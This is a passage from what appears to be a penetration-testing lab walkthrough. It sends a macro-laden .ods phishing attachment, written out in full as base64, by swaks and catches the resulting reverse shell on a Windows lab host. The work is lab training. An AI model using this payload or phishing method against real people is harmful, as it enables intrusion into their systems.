-> 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
-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
-> AhQAFAAICAgAF6JkWi3pSVizDwAAEisAABoAAAAAAAAAAAAAAAAAVAAAAEJhc2ljL1N0YW5kYXJk
-> L0V4cGxvaXQueG1sUEsBAhQAFAAICAgAF6JkWgQ4a4jWAAAAXAEAABwAAAAAAAAAAAAAAAAATxAA
-> AEJhc2ljL1N0YW5kYXJkL3NjcmlwdC1sYi54bWxQSwECFAAUAAgICAAXomRa+pCCbNMAAABSAQAA
-> EwAAAAAAAAAAAAAAAABvEQAAQmFzaWMvc2NyaXB0LWxjLnhtbFBLAQIUABQACAgIABeiZFomi7e+
-> ygUAAA8nAAAMAAAAAAAAAAAAAAAAAIMSAABzZXR0aW5ncy54bWxQSwECFAAUAAAIAAAXomRaAAAA
-> AAAAAAAAAAAAHwAAAAAAAAAAAAAAAACHGAAAQ29uZmlndXJhdGlvbnMyL2ltYWdlcy9CaXRtYXBz
-> L1BLAQIUABQAAAgAABeiZFoAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAMQYAABDb25maWd1cmF0
-> aW9uczIvdG9vbHBhbmVsL1BLAQIUABQAAAgAABeiZFoAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAA
-> APwYAABDb25maWd1cmF0aW9uczIvdG9vbGJhci9QSwECFAAUAAAIAAAXomRaAAAAAAAAAAAAAAAA
-> GAAAAAAAAAAAAAAAAAAyGQAAQ29uZmlndXJhdGlvbnMyL2Zsb2F0ZXIvUEsBAhQAFAAACAAAF6Jk
-> WgAAAAAAAAAAAAAAABoAAAAAAAAAAAAAAAAAaBkAAENvbmZpZ3VyYXRpb25zMi9zdGF0dXNiYXIv
-> UEsBAhQAFAAACAAAF6JkWgAAAAAAAAAAAAAAABoAAAAAAAAAAAAAAAAAoBkAAENvbmZpZ3VyYXRp
-> b25zMi9wb3B1cG1lbnUvUEsBAhQAFAAACAAAF6JkWgAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAA
-> 2BkAAENvbmZpZ3VyYXRpb25zMi9wcm9ncmVzc2Jhci9QSwECFAAUAAAIAAAXomRaAAAAAAAAAAAA
-> AAAAGAAAAAAAAAAAAAAAAAASGgAAQ29uZmlndXJhdGlvbnMyL21lbnViYXIvUEsBAhQAFAAACAAA
-> F6JkWgAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAASBoAAENvbmZpZ3VyYXRpb25zMi9hY2NlbGVy
-> YXRvci9QSwECFAAUAAgICAAXomRaEKXQNZcJAACVOAAACgAAAAAAAAAAAAAAAACCGgAAc3R5bGVz
-> LnhtbFBLAQIUABQACAgIABeiZFq092jSBQEAAIMDAAAMAAAAAAAAAAAAAAAAAFEkAABtYW5pZmVz
-> dC5yZGZQSwECFAAUAAgICAAXomRajsAclkkEAABIDwAACwAAAAAAAAAAAAAAAACQJQAAY29udGVu
-> dC54bWxQSwECFAAUAAgICAAXomRaw7ZfvZsBAABKAwAACAAAAAAAAAAAAAAAAAASKgAAbWV0YS54
-> bWxQSwECFAAUAAAIAAAXomRa8ru91xMBAAATAQAAGAAAAAAAAAAAAAAAAADjKwAAVGh1bWJuYWls
-> cy90aHVtYm5haWwucG5nUEsBAhQAFAAICAgAF6JkWlFUBS9TAQAAXAUAABUAAAAAAAAAAAAAAAAA
-> LC0AAE1FVEEtSU5GL21hbmlmZXN0LnhtbFBLBQYAAAAAFAAUADgFAADCLgAAAAA=
->
-> ------=_MIME_BOUNDARY_000_198343--
->
->
-> .
<- 250 Data received OK.
-> QUIT
<- 221 localhost Service closing channel.
=== Connection closed with remote host.Sending a phishing email to the mailadmin user with the first payload as an attachment
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ nnc 443
listening on [any] 443 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.159.140] 49726
Microsoft Windows [Version 10.0.19042.1348]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice\program> whoami
whoami
hepet\ela arwel
C:\Program Files\LibreOffice\program> hostname
hostname
hepet
C:\Program Files\LibreOffice\program> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.159.140
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.159.254Initial Foothold established to the target system as the ela arwel user via phishing
2
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --from jonas@localhost --header "subject: Company Contacts" --body "Check the attachment" --attach @file.ods --server $IP
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<- 220 localhost ESMTP server ready.
-> EHLO kali
<- 250-localhost Hello kali; ESMTPs are:
<- 250-TIME
<- 250-SIZE 0
<- 250 HELP
-> MAIL FROM:<jonas@localhost>
<- 250 Sender OK - send RCPTs.
-> RCPT TO:<mailadmin@localhost>
<- 250 Recipient OK - send RCPT or DATA.
-> DATA
<- 354 OK, send data, end with CRLF.CRLF
-> Date: Tue, 04 Mar 2025 22:47:06 +0100
-> To: mailadmin@localhost
-> From: jonas@localhost
-> Subject: test Tue, 04 Mar 2025 22:47:06 +0100
-> Message-Id: <20250304224706.198727@kali>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_198727"
-> subject: Company Contacts
->
-> ------=_MIME_BOUNDARY_000_198727
-> Content-Type: text/plain
->
-> Check the attachment
-> ------=_MIME_BOUNDARY_000_198727
-> Content-Type: application/octet-stream; name="file.ods"
-> Content-Description: file.ods
-> Content-Disposition: attachment; filename="file.ods"
-> Content-Transfer-Encoding: BASE64
->
-> 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
